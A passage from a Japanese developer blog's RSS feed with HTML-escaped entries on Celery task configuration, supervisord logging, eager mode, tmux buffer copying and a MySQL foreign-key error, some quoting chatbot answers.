&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep(settings&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ASYNC_WINDOW)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@shared_task&lt;/span&gt;(base&lt;span style="color:#f92672"&gt;=&lt;/span&gt;CostSingletonTask)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(message, singleton&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Executing:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;message&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; message
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="リンク"&gt;リンク&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/11911859/celery-task-singleton"&gt;Celery: Task Singleton?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/latest/tutorials/task-cookbook.html"&gt;Ensuring a task is only executed one at a time&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Celery: supervisord</title><link>https://hdknr.github.io/blogs/posts/2023/04/celery-supervisord/</link><pubDate>Wed, 12 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/celery-supervisord/</guid><description>&lt;h2 id="celery-supervisord"&gt;Celery: supervisord&lt;/h2&gt;
&lt;h3 id="conf"&gt;conf&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[program:epm-tasks]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;directory&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/home/ubuntu/projects/epm/web&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;user&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;ubuntu&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;command&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/home/ubuntu/.anyenv/envs/pyenv/versions/coresys/bin/celery -A app worker -l INFO -f /home/ubuntu/projects/epm/logs/tasks.log&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;autostart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;autorestart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;;stdout_logfile=syslog&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;;stderr_logfile=syslog&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;numprocs&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;startsecs&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;stopwaitsecs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;600&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;killasgroup&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt; オプションで指定すると &lt;code&gt;user&lt;/code&gt; の所有権でファイル作成&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stdout_logfile&lt;/code&gt; / &lt;code&gt;stderr_logfile&lt;/code&gt; で指定すると&lt;code&gt;supervisord&lt;/code&gt; ユーザー(&lt;code&gt;root&lt;/code&gt;)の所有権で作成&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="log-rotation"&gt;log rotation&lt;/h3&gt;
&lt;p&gt;It seems that you are using supervisord to manage Celery processes and you want to rotate the log files for Celery on a daily basis.
One way to do this is to use logrotate, a tool that can rotate and compress log files according to a configuration file².
To use logrotate, you need to do the following steps:&lt;/p&gt;</description></item><item><title>Celery: タスクの結果をMySQLで確認する</title><link>https://hdknr.github.io/blogs/posts/2023/04/celery-%E3%82%BF%E3%82%B9%E3%82%AF%E3%81%AE%E7%B5%90%E6%9E%9C%E3%82%92mysql%E3%81%A7%E7%A2%BA%E8%AA%8D%E3%81%99%E3%82%8B/</link><pubDate>Wed, 12 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/celery-%E3%82%BF%E3%82%B9%E3%82%AF%E3%81%AE%E7%B5%90%E6%9E%9C%E3%82%92mysql%E3%81%A7%E7%A2%BA%E8%AA%8D%E3%81%99%E3%82%8B/</guid><description>&lt;h2 id="celery-タスクの結果をmysqlで確認する"&gt;Celery: タスクの結果をMySQLで確認する&lt;/h2&gt;
&lt;p&gt;PYPI:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;django-celery-results = &amp;#34;^2.5.0&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;settings&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CELERY_RESULT_BACKEND &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;django-db&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CELERY_RESULT_EXTENDED &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTALLED_APPS &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;django_celery_results&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="database-result-backend"&gt;Database Result Backend&lt;/h3&gt;
&lt;p&gt;It seems that you are using Django and Celery to run asynchronous tasks and store the results in a database. One possible reason why the result data is always null is that you are not returning anything from your task function². For example, if your task function looks like this:&lt;/p&gt;</description></item><item><title>Celery: eager モード (同期モード)</title><link>https://hdknr.github.io/blogs/posts/2023/04/celery-eager-%E3%83%A2%E3%83%BC%E3%83%89-%E5%90%8C%E6%9C%9F%E3%83%A2%E3%83%BC%E3%83%89/</link><pubDate>Tue, 11 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/celery-eager-%E3%83%A2%E3%83%BC%E3%83%89-%E5%90%8C%E6%9C%9F%E3%83%A2%E3%83%BC%E3%83%89/</guid><description>&lt;h2 id="celery-eagerモード"&gt;Celery: Eagerモード&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;settings&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CELERY_TASK_ALWAYS_EAGER &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CELERY_TASK_STORE_EAGER_RESULT &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="unittest"&gt;unittest&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/v5.2.6/userguide/testing.html#celery-worker-embed-live-worker"&gt;Testing with Celery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="eagerモードの確認"&gt;Eagerモードの確認&lt;/h2&gt;
&lt;p&gt;Hello, this is Bing. Celery is a distributed task queue for Python. Eager mode is a setting that makes Celery run tasks synchronously in the same process as the caller, instead of sending them to a worker¹². This can be useful for testing, but it may not reflect the actual behavior of the tasks in a worker¹². To check if a running Celery task is in eager mode, you can use the &lt;code&gt;is_eager&lt;/code&gt; attribute of the task request object³. For example:&lt;/p&gt;</description></item><item><title>tmux: バッファーの全テキストを選択</title><link>https://hdknr.github.io/blogs/posts/2023/04/tmux-%E3%83%90%E3%83%83%E3%83%95%E3%82%A1%E3%83%BC%E3%81%AE%E5%85%A8%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%92%E9%81%B8%E6%8A%9E/</link><pubDate>Tue, 11 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/tmux-%E3%83%90%E3%83%83%E3%83%95%E3%82%A1%E3%83%BC%E3%81%AE%E5%85%A8%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%92%E9%81%B8%E6%8A%9E/</guid><description>&lt;h2 id="tmux-バッファーの全テキストを選択"&gt;tmux: バッファーの全テキストを選択&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vi&lt;/code&gt;キーバインド前提:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コピーモードに入る(&lt;code&gt;:copy-mode&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;g&lt;/code&gt; でバッファーの先頭へ移動&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Space&lt;/code&gt;でバッファのコピー開始&lt;/li&gt;
&lt;li&gt;&lt;code&gt;G&lt;/code&gt; でバッファーの最後へ移動&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Enter&lt;/code&gt;でバッファーのコピー&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;あとは、&lt;code&gt;:paste-buffer&lt;/code&gt; で &lt;code&gt;vi&lt;/code&gt; とかに貼り付けする。&lt;/p&gt;
&lt;h2 id="edge"&gt;Edge&lt;/h2&gt;
&lt;p&gt;To copy all text in the current tmux screen, you need to enter copy-mode, select the entire scrollback, and yank it into the tmux buffer. Then you can paste it in another tmux pane or window. The exact keys you need to press may vary depending on your mode-keys option (vi or emacs) and your system (Mac or Linux). For example, if you use vi mode-keys on Linux, you can press &lt;code&gt;Ctrl + b&lt;/code&gt; followed by &lt;code&gt;[&lt;/code&gt; to enter copy-mode, then press &lt;code&gt;g&lt;/code&gt; to go to the top of the scrollback, then press &lt;code&gt;Ctrl + Space&lt;/code&gt; to start copying, then press &lt;code&gt;G&lt;/code&gt; to go to the bottom of the scrollback, then press &lt;code&gt;Alt + w&lt;/code&gt; or &lt;code&gt;Ctrl + w&lt;/code&gt; to yank the text into the tmux buffer. To paste the text, you can press &lt;code&gt;Ctrl + b&lt;/code&gt; followed by &lt;code&gt;]&lt;/code&gt;. Does this answer your question?&lt;/p&gt;</description></item><item><title>Python: ジョブキューイング</title><link>https://hdknr.github.io/blogs/posts/2023/04/python-%E3%82%B8%E3%83%A7%E3%83%96%E3%82%AD%E3%83%A5%E3%83%BC%E3%82%A4%E3%83%B3%E3%82%B0/</link><pubDate>Fri, 07 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/python-%E3%82%B8%E3%83%A7%E3%83%96%E3%82%AD%E3%83%A5%E3%83%BC%E3%82%A4%E3%83%B3%E3%82%B0/</guid><description>&lt;h2 id="タスクキューシステム"&gt;タスクキューシステム&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.fullstackpython.com/task-queues.html"&gt;Full Stack Python&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="celery"&gt;Celery&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/stable/"&gt;https://docs.celeryq.dev/en/stable/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PYPI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;celery&lt;/li&gt;
&lt;li&gt;redis&lt;/li&gt;
&lt;li&gt;django-celery-results&lt;/li&gt;
&lt;li&gt;django-redis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Redis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/redis.html"&gt;Using Redis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;poetry add &amp;quot;celery[redis]&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;djang-celery-results:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/stable/django/first-steps-with-django.html#django-celery-results-using-the-django-orm-cache-as-a-result-backend"&gt;django-celery-results - Using the Django ORM/Cache as a result backend&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;poetry add django-celery-results&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Periodic Task:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/stable/userguide/periodic-tasks.html"&gt;Periodic Tasks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;記事:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kosuke-space.com/django-celery-redis"&gt;【Django】CeleryとRedisで非同期処理を実装する方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ridai/items/5060e806573b553a33fc"&gt;DjangoとCeleryを使った非同期処理の結果取得までの流れ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zats-firm.com/2022/02/05/django_cerery_redis%e3%81%ab%e3%82%88%e3%82%8b%e9%9d%9e%e5%90%8c%e6%9c%9f%e5%87%a6%e7%90%86%e3%81%ae%e5%ae%9f%e8%a3%85/"&gt;【Python x Django】Djangoによる非同期処理実装(Cerery,Redis)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://python.plainenglish.io/deploying-django-on-aws-setting-up-celery-and-sqs-95632a6e79cb"&gt;Deploying Django on AWS: Setting up Celery and SQS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://python.plainenglish.io/celery-task-queue-with-aws-sqs-dd51f350ae50"&gt;Celery Task Queue with AWS SQS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mysqldatabase-returned-an-invalid-datetime-value-are-time-zone-definitions-for-your-database-installed"&gt;MySQL:&lt;code&gt;Database returned an invalid datetime value. Are time zone definitions for your database installed?&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;macOS:&lt;/p&gt;</description></item><item><title>MySQL: ERROR 3780 (HY000) at line 1406622: Referencing column 'os_branch_id' and referenced column 'id' in foreign key constraint '***' are incompatible.</title><link>https://hdknr.github.io/blogs/posts/2023/04/mysql-error-3780-hy000-at-line-1406622-referencing-column-os_branch_id-and-referenced-column-id-in-foreign-key-constraint-are-incompatible./</link><pubDate>Thu, 06 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/mysql-error-3780-hy000-at-line-1406622-referencing-column-os_branch_id-and-referenced-column-id-in-foreign-key-constraint-are-incompatible./</guid><description>&lt;h2 id="error-3780-hy000-at-line-1406622-referencing-column-os_branch_id-and-referenced-column-id-in-foreign-key-constraint--are-incompatible"&gt;&lt;code&gt;ERROR 3780 (HY000) at line 1406622: Referencing column 'os_branch_id' and referenced column 'id' in foreign key constraint '***' are incompatible.&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;gas_bombehouse&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; int &lt;span style="color:#66d9ef"&gt;NOT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt; AUTO_INCREMENT,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;code&lt;span style="color:#f92672"&gt;`&lt;/span&gt; varchar(&lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;NOT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ....
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;os_branch_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; bigint &lt;span style="color:#66d9ef"&gt;DEFAULT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;PRIMARY&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;UNIQUE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;code&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;code&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;gas_bombehouse_os_branch_id_d35d17d3_fk_outsource&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;os_branch_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
